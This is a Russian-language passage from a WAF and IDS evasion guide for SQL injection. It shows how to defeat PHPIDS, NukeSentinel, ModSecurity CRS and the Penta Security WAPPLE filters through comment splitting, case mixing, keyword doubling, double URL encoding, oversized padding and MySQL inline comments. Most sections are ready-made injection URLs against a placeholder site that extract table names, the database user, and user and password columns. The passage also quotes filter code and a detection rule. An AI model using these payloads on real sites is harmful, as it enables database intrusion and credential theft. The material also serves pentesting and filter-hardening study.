[0x01b] – Обход фильтрации по регулярным выражениям
[0x01b] – Обход фильтрации по регулярным выражениям
Фильтрация по регулярным выражениям – более совершенное решение для предотвращения SQL-инъекций, чем фильтрация функций и ключевых слов. Она использует проверку соответствия шаблонам (а не отдельным словам) для обнаружения атаки. Запросы легальных пользователей обрабатываются при этом более гибко.
Тем не менее, регулярные выражения тоже можно обойти. Следующие примеры иллюстрируют скрипты инъекций, используемые для обхода регулярных выражений в PHPIDS 0. 6 (свободно распространяемой системе обнаружения вторжений для веб-приложений).
PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая строка или целое число. Однако, это можно обойти, используя выражение, не содержащее симолов =, ( и '.
[Code]--------------------------------------------------------------- Отфильтрованнаяинъекция: 1 or 1 = 1 Пропущеннаяинъекция: 1 or 1 [End Code]----------------------------------------------------------- [Code]--------------------------------------------------------------- Отфильтрованнаяинъекция: 1 union select 1, table_name from information_schema. tables where table_name = 'users' Отфильтрованнаяинъекция: 1 union select 1, table_name from information_schema. tables where table_name between 'a' and 'z' Отфильтрованнаяинъекция: 1 union select 1, table_name from information_schema. tables where table_name between char(97) and char(122) Пропущеннаяинъекция: 1 union select 1, table_name from information_schema. tables where table_name between 0x61 and 0x7a Пропущеннаяинъекция: 1 union select 1, table_name from information_schema. tables where table_name like 0x7573657273 [End Code]-----------------------------------------------------------
[0x02] - Обычные техники обхода
В этом разделе упоминаются техники WAF. Прежде всего вам нужно узнать, что такое WAF.
Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу. Обычно эти правила покрывают распространенные атаки вроде межсайтового скриптинга (XSS) или SQL-инъекции. Адаптация правил WAF к вашим приложениям позволит обнаружить и блокировать множество атак. Однако, адаптация правил может потребовать значительных усилий и должна возобновляться после внесения изменений в приложение.
WAF часто называют «Файрволы с глубоким исследованием пакетов», так как они просматривают каждый запрос и ответ для протоколов HTTP/HTTPS/SOAP/XML-RPC. Некоторые современные WAF-системы обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении.
Теперь давайте поймем, как пробиться через WAF с помощью обфускации. Все WAF можно обойти, поняв со временем их правила, или используя свое воображение!
1. Обход с помощью комментариев SQL-комментарии позволяют нам обходить множество фильтров и WAF. [Code]--------------------------------------------------------------- http: //victim. com/news. php? id=1+un/**/ion+se/**/lect+1, 2, 3-- [End Code]-----------------------------------------------------------
2. Изменение регистра букв Некоторые WAF фильтруют ключевые слова записанные только в нижнем регистре Фильтр регулярных выражений: /union\sselect/g
[Code]--------------------------------------------------------------- http: //victim. com/news. php? id=1+UnIoN/**/SeLecT/**/1, 2, 3-- [EndCode]-----------------------------------------------------------
3. Замещение ключевых слов Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые слова SQL. Это можно легко обойти. [Code]--------------------------------------------------------------- http: //victim. com/news. php? id=1+UNunionION+SEselectLECT+1, 2, 3-- [EndCode]----------------------------------------------------------- В некоторых случаях ключевые слова SQL отфильтровываются и заменяются пробелами. Это можно обойти, используя " %0b". [Code]--------------------------------------------------------------- http: //victim. com/news. php? id=1+uni%0bon+se%0blect+1, 2, 3-- [EndCode]----------------------------------------------------------- В случае Mod_rewrite, обход с помощью комментариев " /**/" невозможен. Так что мы используем " %0b" вместо " /**/". Запрещено: http: //victim. com/main/news/id/1/**/||/** /lpad(first_name, 7, 1). html Пропущено: http: //victim. com/main/news/id/1%0b||%0blpad(first_name, 7, 1). html
4. Кодировка символов Большинство CMS и WAF декодируют, а затем отфильтровывают/пропускают переданные приложению данные. Однако некоторые WAF декодируют данные лишь единожды, так что двойное кодирование может обойти определенные фильтры: WAF декодирует данные один раз перед фильтрацией, в то время как приложение продолжит декодирование при обработке SQL-запроса. [Code]------------------------------------------------------------------------------ http: //victim. com/news. php? id=1%252f%252a*/union%252f%252a /select%252f%252a*/1, 2, 3%252f%252a*/from%252f%252a*/users-- [EndCode]------------------------------------------------------------------------------- Кроме того, комбинация этих приемов позволяет обходить CitrixNetscaler: - Удалите все пустые (NULL) слова - Используйте кодирование запроса в некоторых местах - Избавьтесь от символа одинарной кавычки " '" - И развлекайтесь! Информацию предоставил: WendelGuglielmettiHenrique ArmorlogicProfense до версии 2. 4. 4 мог быть обойден URL-кодированием символа новой строки. #Примерыизреальногомира 1. NukeSentinel (Nuke Evolution) [Nukesentinel. php Code]------------------------------------------------------------ // Check for UNION attack // Copyright 2004(c) Raven PHP Scripts $blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) { if (stristr($nsnst_const['query_string'], '+union+') OR \ stristr($nsnst_const['query_string'], '%20union%20') OR \ stristr($nsnst_const['query_string'], '*/union/*') OR \ stristr($nsnst_const['query_string'], ' union ') OR \ stristr($nsnst_const['query_string_base64'], '+union+') OR \ stristr($nsnst_const['query_string_base64'], '%20union%20') OR \ stristr($nsnst_const['query_string_base64'], '*/union/*') OR \ stristr($nsnst_const['query_string_base64'], ' union ')) { // block_ip($blocker_row); die(" BLOCK IP 1 " ); } } [End Code]------------------------------------------------------------------------- Мыможемобойтиихфильтрациюспомощьютакогоскрипта: Запрещено: http: //victim. com/php-nuke/? /**/union/**/select….. Пропущено: http: //victim. com/php-nuke/? /%2A%2A/union/%2A%2A/select… Пропущено: http: //victim. com/php-nuke/? %2f**%2funion%2f**%2fselect… 2. Mod Security CRS (Предоставил: Johannes Dahse)
[SecRule]-------------------------------------------------------------------------- SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML: /* " \bunion\b. {1, 100}? \bselect\b" \ " phase2, rev: '2. 2. 1', capture, t: none, t: urlDecodeUni, t: htmlEntityDecode, t: lowercase, t: replaceComments, t: compressWhiteSpace, ctl: auditLogParts=+E, block, msg: 'SQL Injection Attack', id: '959047', tag: 'WEB_ATTACK /SQL_INJECTION', tag: 'WASCTC/WASC-19', tag: 'OWASP_TOP_10/A1', tag: 'OWASP_AppSensor/CIE1', tag: 'PCI/6. 5. 2', logdata: '% {TX. 0}', severity: '2', setvar: 'tx. msg=%{rule. msg}', setvar: tx. sql_injection_score=+% {tx. critical_anomaly_score}, setvar: tx. anomaly_score=+%{tx. critical_anomaly_score}, setvar: tx. %{rule. id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx. 0}" [End Rule]------------------------------------------------------------------------- Следующийкодпозволяетобойтиихфильтр: [Code]------------------------------------------------------------------------------ http: //victim. com/news. php? id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo %0D%0A1%2C2%2Ccurrent_user [End Code]-------------------------------------------------------------------------- Этаатакапозволяетобойтиправилофильтрации Mod Security. Давайте посмотрим, что происходит! MySQLServer поддерживает 3 вида комментариев: - От символа " #" до конца строки - От последовательности " --" до конца строки - Си-подобный: между " /*" и " */". Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько строк, так как открывающая и закрывающая последовательности не обязаны лежать в одной строке. В следующем примере мы использовали последовательность " %0D%0A" в качестве символов новой строки. Давайте рассмотрим первый запрос (выявляющий имя пользователя БД). Результирующий (декодированный) SQL-код выглядит примерно так: 0 div 1 union#foo*/*/bar select#foo 1, 2, current_user А в итоге (учитывая комментарии) MySQL DB выполняет такой код: 0 div 1 unionselect 1, 2, current_user
5. Переполнение буфера. WAF, написанный на языке Си, потенциально уязвим к переполнению и может вести себя нетипично при больших объемах передаваемых данных. Передача большого объема данных позволяет нашему коду выполниться. [Code]------------------------------------------------------------------------------ http: //victim. com/news. php? id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141…. )+union+select+1, 2, version(), database(), user(), 6, 7, 8, 9, 10-- [EndCode]--------------------------------------------------------------------------
6. Встроенные комментарии (Только Mysql) Согласно справочному руководству по MySQL 5. 0, MySQLServer поддерживает некоторые особые варианты Cи-подобных комментариев. Использование комментария следующего вида позволяет писать переносимый код, включающий расширения, специфичные для MySQL: /*! Код, специфичный для MySQL */ MySQLServer разберет и выполнит код, заключенный в такой комментарий, как любое другое SQL-выражение, но остальные SQL-серверы его проигнорируют. Множество WAF фильтрует ключевые слова SQL примерно так: /union\sselect\ig Мы можем обойти этот фильтр, используя встроенные комментарии. [Code]------------------------------------------------------------------------------ http: //victim. com/news. php? id=1/*! UnIoN*/SeLecT+1, 2, 3-- [EndCode]-------------------------------------------------------------------------- Встроенные комментарии могут быть использованы в любом месте SQL выражения. Так что, если table_name или information_schema фильтруются, мы можем использовать больше встроенных комментариев. [Code]------------------------------------------------------------------------------ http: //victim. com/news. php? id=/*! UnIoN*/+/*! SeLecT* /+1, 2, concat(/*! table_name*/)+FrOm/*! information_schema*/. tables /*! WhErE*/+/*! TaBlE_sChEMa*/+like+database()-- [EndCode]-------------------------------------------------------------------------- В недавнем тесте на проникновение мы смогли обойти ModSecurity CRS и PentaSecurity- WAPPLE, используя эту технику. Подробнее смотри ниже: ################################################################################ Производитель: PentaSecuritySystem Продукт: WappleWebApplicationFirewall Патчвыпущен: 2011-10-02 (In SQL InjectionCustomPolicyMode) Дата релиза: 2011-10-04 Информацию предоставили: PrathanPhongthiproekandSuphotBoonchamnan
Эти скрипты могут [обойти] все правила фильтрации SQL-инъекций: 1 ||1=1 1 /*! orderby*/ 3 1 /*! unionselect*/ 1, table_name from /*! information_schema. tables*/ 1 /*! unionselect*/ 1, column_name from /*! information_schema. columnswheretable_name = 0x7573657273*/ 1 /*! unionselect*/ /*! user, password*/ from /*! users*/ #####################################################################################
|